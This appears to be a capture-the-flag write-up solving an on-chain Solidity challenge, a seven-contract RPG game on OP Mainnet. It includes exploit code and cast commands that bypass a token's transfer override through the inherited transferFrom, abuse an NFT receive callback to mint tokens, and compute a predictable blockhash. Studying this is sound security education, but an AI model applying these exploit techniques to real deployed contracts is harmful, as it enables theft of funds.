Appearance
S2C12: Conquer The Game (RPG Multi-Contract)
1. Problem
This is the final boss of Season 2 — an RPG game system composed of 7 contracts. The player needs to "conquer the game" to satisfy the complex verification chain of mintFlag:
| Contract | OP Mainnet Address | Function |
|---|---|---|
| Main (Challenge) | 0xac22A9b80bf87Cdb1f95efEb3F2A504f5039BE9d | Main challenge, contains mintFlag |
| HeroNFT | 0x792ad60632A1A63DaDb14fEa9AC3c7FB944406C6 | ERC-721 hero NFT, customizable URI |
| GoldToken | 0x84710c7E262B09fa3aAF97F2741E7CE6Fb11A54b | ERC-20 gold, transfer has special restrictions |
| Inventory | 0x5f90e8c1205C448b81Ca57cffdca39bc3b0B35f4 | Inventory system, only owner (Main) can modify |
| Quest | 0xc555ce58bAD74a2E0CD289aE23225a80bf47e7e3 | Quest tracking |
| Dungeon | 0xd1A85e9e62387E8A4Ccb9baBab0Cd97d9E76B7de | Dungeon position, linked with Quest |
| Victory | 0x84503496E6ED4F68E84E4Ba6B4Fc5A4d4A4145d3 | Victory conditions |
2. Cause
The contract system has the following key vulnerabilities:
2.1 GoldToken's transfer restriction can be bypassed via transferFrom
solidity
// GoldToken.transfer — has HeroNFT and Dungeon checks
function transfer(address to, uint256 amount) public override returns (bool) {
require(hero.balanceOf(msg.sender) > 0, "Insufficient NFT balance");
require(hero.balanceOf(msg.sender) < dungeon.dungeon(tx.origin), "Wrong NFT balance");
_transfer(msg.sender, to, amount);
return true;
}
// GoldToken.transferFrom — inherited from ERC20, no restrictions at all!
// Can be called directly to bypass all transfer checks
Key insight: Overriding transfer does not automatically protect transferFrom. This is a common pitfall in OZ ERC-20 inheritance.
2.2 GoldToken acquisition mechanism (onERC721Received callback)
The S2 NFTFlags contract's onERC721Received function mints GoldToken when receiving specific NFTs:
solidity
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
external override returns (bytes4)
{
uint256 anotherTokenId = _toUint256(data); // ← decodes another tokenId from data
require(msg.sender == address(this)); // only NFTFlags itself can call
require(ownerOf(anotherTokenId) == from); // from must own an S2C2 token
require(tokenIdToChallengeId[anotherTokenId] == 2); // verify token is S2C2
require(!tokensClaimed[tokenId]); // carrier token not yet claimed
safeTransferFrom(address(this), from, tokenId); // return carrier token
tokensClaimed[tokenId] = true;
GoldContract(goldTokenAddress).mint(from); // mint 1000e18 GoldToken!
}
Dual Token Mechanism:
tokenId(carrier): transferred to NFTFlags then returned; must be any S2 NFT owned by the senderanotherTokenId(verification): decoded from the data parameter; must be an S2C2 token (challengeId == 2), owned by thefromaddress, but not transferred
2.3 mintFlag Verification Chain Analysis
solidity
function mintFlag(uint256 tokenId) public winner rich {
// 1. Pull 1e18 GoldToken from caller to challenge contract
gold.transferFrom(msg.sender, address(this), 1 ether);
// 2. Parse inventory value from HeroNFT URI
uint256 inventoryValue = stringToUint(hero.tokenURI(tokenId));
inventory.setValue(inventoryValue); // writes to inventory[tx.origin]
// 3. Compute hash
bytes32 hash = keccak256(abi.encodePacked(
blockhash(block.number - 1), // previous block hash (predictable within tx)
address(this), // challenge contract address
inventory.inventory(tx.origin) // inventory value
));
// 4-8. Multiple checks
require(gold.balanceOf(msg.sender) == uint256(hash) % 100 ether); // balance = H
require(balance == dungeon.getCurrentPosition()); // balance = quest×dungeon
require(gold.balanceOf(tx.origin) == gold.balanceOf(~tx.origin)); // friend vs foe equal balance
require(gold.allowance(msg.sender, this) == inventory.inventory(tx.origin)); // allowance=inventory
nftContract.mint(tx.origin, 12); // mint flag!
}
stringToUint logic:
solidity
function stringToUint(string memory _s) public pure returns (uint256) {
bytes memory b = bytes(_s);
uint256 res = 0;
for (uint256 i = 0; i < b.length; i++) {
if (b[i] >= 0x30 && b[i] <= 0x39) {
res = res * 10 + (uint256(uint8(b[i])) - 0x35); // digit char → value
} else {
return 0; // non-digit returns 0 immediately
}
}
return res;
}
Character '5' = 0x35 → 0x35 - 0x35 = 0. So when the URI is "5", inventoryValue = 0.
2.4 Complete Solution Architecture
NEW_WALLET ORIGINAL_WALLET S2C12_SOLUTION
| | |
S1C1 ──→ | | |
S2C2 ──→ | (obtain S2C2 token) | |
| | |
safeTransferFrom ─→ GoldToken mint 1000e18 |
| | |
approve(Solution, max) ──────────|──────────────────→ |
| | solve(NEW_WALLET) |
| |──────────────────→ |
| | transferFrom(NEW → Solution)
| | mint HeroNFT("5")
| | fund complement(~ORIGINAL)
| | fund ORIGINAL
| | burn excess
| | dungeon/quest/victory setup
| | approve(challenge, 1e18)
| | challenge.mintFlag() ──→ 🏆
3. Solution
Step 1: Acquire GoldToken (requires S2C2 token)
solidity
// 1. Ensure you own an S2C2 token (challengeId == 2)
// 2. Need a carrier token (any other S2 NFT)
// 3. Call safeTransferFrom, sending the carrier token to NFTFlags, encoding S2C2 tokenId in data
// The carrier token will be returned; the S2C2 token is only used for verification, not transferred
NFTFlags.safeTransferFrom(
myAddress, // from — must own the S2C2 token
NFTFlags, // to — NFTFlags itself (triggers onERC721Received)
carrierTokenId, // carrier token (any S2 NFT)
abi.encode(s2c2TokenId) // data = S2C2 tokenId
);
// → GoldToken mint 1000e18 to the from address
Step 2: Set up values and compute target balance
solidity
// 2a. Mint HeroNFT with URI = "5" (makes inventoryValue = 0)
uint256 heroTokenId = hero.mint("5");
// 2b. Compute target balance H
bytes32 hash = keccak256(abi.encodePacked(
blockhash(block.number - 1), // previous block hash
address(challenge), // challenge address
uint256(0) // inventoryValue = 0
));
uint256 H = uint256(hash) % 100 ether;
Step 3: Manipulate GoldToken balances
solidity
// Use transferFrom to bypass transfer restrictions
gold.approve(address(this), type(uint256).max); // self-approval
gold.transferFrom(goldSource, address(this), H + 1 ether + 2 ether); // pull funds
// Distribute balances
gold.transferFrom(address(this), address(~bytes20(tx.origin)), 1 ether); // enemy
gold.transferFrom(address(this), tx.origin, 1 ether); // player
// Precise balance = H
uint256 currentBalance = gold.balanceOf(address(this));
if (currentBalance > H + 1 ether) {
gold.burn(currentBalance - H - 1 ether);
}
Step 4: Set game state and execute
solidity
// Victory conditions
dungeon.setPosition(bytes32(uint256(1))); // set non-zero value
victory.free(true); // mark victory
// Dungeon position = balance = H (makes balance == quest × dungeon)
quest.setCurrentQuest(1);
dungeon.setPosition(bytes32(H));
// Approve challenge to spend 1 ether (remaining allowance = 0 = inventoryValue after spend)
gold.approve(address(challenge), 1 ether);
// Execute!
challenge.mintFlag(heroTokenId);
4. Pitfalls Encountered
Pitfall 4.1: Confusion between onERC721Received's tokenId vs anotherTokenId
Symptom: When using the S2C2 token as the carrier token, the transaction reverts with "Not owner!".
Root cause: Misunderstanding the tokenId/anotherTokenId roles in the function. tokenId (carrier) is transferred first via _safeTransfer, causing ownerOf(tokenId) to become the new owner. Meanwhile, anotherTokenId (decoded from data) is not transferred — it is only used for verification.
Wrong understanding: anotherTokenId == tokenId (same token doing two things)
Correct understanding: anotherTokenId (verification) ≠ tokenId (carrier)
Pitfall 4.2: S2C2 token accidentally transferred to NFTFlags
Symptom: After using transferFrom to transfer the S2C2 token to NFTFlags during experimentation, GoldToken minting can no longer be triggered.
Wrong operation:
bash
# Wrong! Transferring S2C2 token to NFTFlags
cast send $NFT_FLAGS "transferFrom(address,address,uint256)" \
$EOA $NFT_FLAGS 94 # Token 94 = S2C2 token
Consequences:
- Token 94 now belongs to NFTFlags, not the original EOA
ownerOf(94)= NFTFlags, not equal tofrom(EOA)- onERC721Received check
ownerOf(anotherTokenId) == fromforever fails - Cannot use this EOA to trigger GoldToken mint
Pitfall 4.3: GoldToken transfer restriction
Symptom: Using gold.transfer() directly to transfer to the solution contract reverts with "Insufficient NFT balance".
Cause: GoldToken overrides transfer to require the caller holds a HeroNFT and the balance is less than the dungeon value.
Pitfall 4.4: transferFrom requires self-approval
Symptom: gold.transferFrom(address(this), target, amount) reverts with ERC20InsufficientAllowance.
Cause: ERC-20's transferFrom requires the from address to have approved msg.sender (i.e., the caller).
Pitfall 4.5: New wallet needs S1C1 registration
Symptom: Calling S2C2 from a new wallet reverts with "User address is not registered in Season 1".
Cause: S2 NFTFlags's mint function checks hasMinted[recipient][1] (S1C1 registration status).
Pitfall 4.6: forge create --broadcast fails on OP
Same forge bug as S2C7 — must use forge script to deploy contracts.
5. Pitfall Causes
Cause 5.1: ERC-721 _safeTransfer call order
OpenZeppelin ERC-721's _safeTransfer implementation:
solidity
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
_transfer(from, to, tokenId); // ① transfer first!
_checkOnERC721Received(from, to, tokenId, data); // ② then callback
}
The transfer occurs before the callback. When onERC721Received executes, the tokenId (carrier) owner has already been updated to to (NFTFlags). But anotherTokenId (the verification token decoded from data) is not affected by this.
Cause 5.2: transferFrom is not overridden
In Solidity inheritance, overriding transfer does not affect transferFrom:
solidity
// GoldToken only overrides transfer
function transfer(address to, uint256 amount) public override returns (bool) {
// ... custom checks ...
}
// transferFrom inherits from ERC20._transfer, no restrictions at all
// function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// _spendAllowance(from, msg.sender, amount);
// _transfer(from, to, amount); // directly calls internal _transfer, bypasses transfer override
// }
Core lesson: In OZ 5.x, override _update rather than transfer to ensure all token movement paths are covered.
Cause 5.3: Cross-contract state dependencies
mintFlag's 10 checks span 6 different contracts; any parameter miscalculation in any step causes an overall revert.
Cause 5.4: blockhash predictability
blockhash(block.number - 1) is known and deterministic at transaction execution time. Although it appears "random", it is computable within the same transaction and cannot be used as a secure randomness source.
Cause 5.5: onERC721Received's msg.sender check
NFTFlags's onERC721Received requires msg.sender == address(this). This is only true when:
- ERC-721's
safeTransferFromsetstoto NFTFlags itself - ERC-721 internally calls
IERC721Receiver(to).onERC721Receivedwithmsg.sender= NFTFlags
Any direct external call fails because msg.sender is the caller, not NFTFlags.
6. How to Resolve
Solution 6.1: Use different tokens for carrier and verification
Correct flow:
One S2C2 token (metadata=2) → only for verification (anotherTokenId), not transferred
One arbitrary S2 NFT → serves as carrier (tokenId), round-trips between NFTFlags and user
bash
# Use token 104 (S2C2) for verification, token 95 as carrier
cast send $NFT_FLAGS \
$(cast calldata "safeTransferFrom(address,address,uint256,bytes)" \
$MY_ADDRESS $NFT_FLAGS 95 $(cast abi-encode "f(uint256)" 104))
Solution 6.2: Reacquire S2C2 token after losing it
Since the S2C2 token cannot be retrieved once transferred to NFTFlags:
- Create a new wallet
- New wallet completes S1C1 registration
- New wallet completes S2C2 (obtains a new S2C2 token)
- Transfer the carrier token to the new wallet
- New wallet triggers GoldToken mint
- New wallet approves the solution contract
- Original wallet calls the solution contract (making tx.origin = original wallet, flag minted to original wallet)
Solution 6.3: Use transferFrom instead of transfer
solidity
// Wrong: subject to transfer restrictions
gold.transfer(recipient, amount);
// Correct: bypass via self-approval + transferFrom
gold.approve(address(this), type(uint256).max);
gold.transferFrom(address(this), recipient, amount);
Solution 6.4: Standard self-approval pattern
solidity
// Self-approve during construction or initialization
function solve(address goldSource) external {
// Must self-approve first
gold.approve(address(this), type(uint256).max);
// Then transferFrom can be used
gold.transferFrom(goldSource, address(this), amount);
gold.transferFrom(address(this), enemy, amount);
}
Solution 6.5: New wallet registration
bash
# Must first complete S1C1 registration
cast send $S1C1 "registerMe(string)" "name" --private-key $NEW_PK
# Then can complete S2C2
cast send $S2C2 "mintFlag(bytes32)" $KEY --private-key $NEW_PK
Solution 6.6: Use forge script
bash
forge script script/S2C12Deploy.s.sol:S2C12DeployScript \
--rpc-url $RPC --private-key $PK --broadcast
7. Key Technical Points
7.1 Solidity / EVM
| Point | Detailed Description |
|---|---|
| ERC-20 transfer vs transferFrom | Overriding transfer does not protect transferFrom. In OZ 5.x, override _update instead |
| blockhash predictability | blockhash(block.number - 1) is a deterministic value within a transaction; exploitable as a "randomness" source attack vector |
| stringToUint encoding | Character minus 0x35→'5'→0; exploit this to set inventoryValue=0 and simplify calculations |
| Self-approval pattern | erc20.approve(address(this), max) + transferFrom(address(this), ...) is a standard technique for bypassing transfer restrictions |
| onlyOwner proxy | Inventory's setValue is onlyOwner, but the owner is the Main contract — Main indirectly writes to inventory via mintFlag |
7.2 Cross-Contract Interactions
| Point | Detailed Description |
|---|---|
| Multi-contract RPG system | 7 contracts collaborating; state distributed across multiple addresses; requires atomic operations |
| onERC721Received callback | ERC-721's safeTransferFrom triggers callback; msg.sender = the ERC-721 contract itself |
| CREATE2 concept | address(~bytes20(tx.origin)) is the bitwise complement address of tx.origin |
| Victory.winner dependency | Requires dungeon[tx.origin] > 0 to return true — must set dungeon first |
| Dungeon.getCurrentPosition | = quest[tx.origin] × dungeon[tx.origin] — linkage between two contracts |
7.3 Complete GoldToken Acquisition Flow
Prerequisites:
├─ One S2C2 token (challengeId=2, verification only, not transferred)
└─ One carrier token (any S2 NFT, used for round-trip transfer)
Execution flow:
1. safeTransferFrom(sender, NFTFlags, carrierId, abi.encode(s2c2Id))
├─ ERC-721: _transfer(sender, NFTFlags, carrierId) [carrier → NFTFlags]
└─ ERC-721: _checkOnERC721Received → NFTFlags.onERC721Received()
├─ anotherTokenId = decode(data) = s2c2Id
├─ msg.sender == address(this) ✓ (NFTFlags self-call)
├─ ownerOf(s2c2Id) == from ✓ (S2C2 token not transferred)
├─ tokenIdToChallengeId[s2c2Id] == 2 ✓
├─ !tokensClaimed[carrierId] ✓
├─ safeTransferFrom(NFTFlags, sender, carrierId) [carrier → returned]
├─ tokensClaimed[carrierId] = true
└─ GoldToken.mint(sender) → 1000 × 10^18 GoldToken!
7.4 mintFlag Complete Verification Chain
modifier winner():
└─ Victory.winner() → dungeon[tx.origin] > 0 && victory[tx.origin]
modifier rich():
└─ GoldToken.balanceOf(~tx.origin) >= 1e18
mintFlag(tokenId):
① transferFrom(msg.sender → this, 1e18)
② inventoryValue = stringToUint(heroNFT.tokenURI(tokenId))
③ inventory.setValue(inventoryValue) → inventory[tx.origin]
④ hash = keccak256(blockhash(block.number-1), this, inventory[tx.origin])
⑤ balance == hash % 100e18
⑥ balance == dungeon.getCurrentPosition() (= quest × dungeon)
⑦ balanceOf(tx.origin) == balanceOf(~tx.origin)
⑧ allowance(msg.sender, this) == inventory[tx.origin]
→ nftContract.mint(tx.origin, 12) 🏆
7.5 Inter-Contract Dependency Diagram
┌──────────┐
│ NFTFlags │ (S2 NFT management)
└────┬─────┘
│ mint()
┌──────────────┼──────────────┐
│ │ │
┌────▼─────┐ ┌────▼─────┐ ┌─────▼──────┐
│ Main C12 │ │ HeroNFT │ │ GoldToken │
│ (Main) │ │ (ERC721) │ │ (ERC20) │
└──┬──┬──┬─┘ └──────────┘ └──┬──┬──┬──┘
│ │ │ │ │ │
┌────▼┐ │ └──────────────┐ │ │ │
│Inv. │ │ │ │ │ │
└─────┘ │ ┌────▼────┐ ┌─▼─────┐│ │ │
│ │ Quest │ │Dungeon││ │ │
│ └────────┘ └──┬────┘│ │ │
│ │ │ │ │
│ ┌────▼─────┴──┘ │
│ │ Victory │
│ └───────────────┘
│
┌────▼─────┐
│ S2C12 Flag│
│ (token 105)│
└──────────┘
7.6 Core Code Locations
- Solution contract:
solutions/season2/Challenge12Solution.sol - Deployment script:
script/S2C12Deploy.s.sol - Reference source: ByteAtATime/bg-ctf
src/season2/Season2Challenge12.sol - NFTFlags source: ByteAtATime/bg-ctf
src/season2/Season2NFTFlags.sol - GoldToken acquisition tx:
0x812d16346b465996a26427a629ce8c2069830bc3fac4940f5d1b206cb8762cda - S2C12 completion tx:
0x9a3bfd2aa2d1597d36e1518087fe62b94148837f47cd2992de72a25e8fbef237 - Flag Token ID:
0x69(105)
One-line summary: ERC-20's
transferoverride does not protecttransferFrom; GoldToken is acquired through the NFT callback mechanism; use the predictable blockhash to compute precise balances; atomically satisfy 10 distributed checks in a single transaction.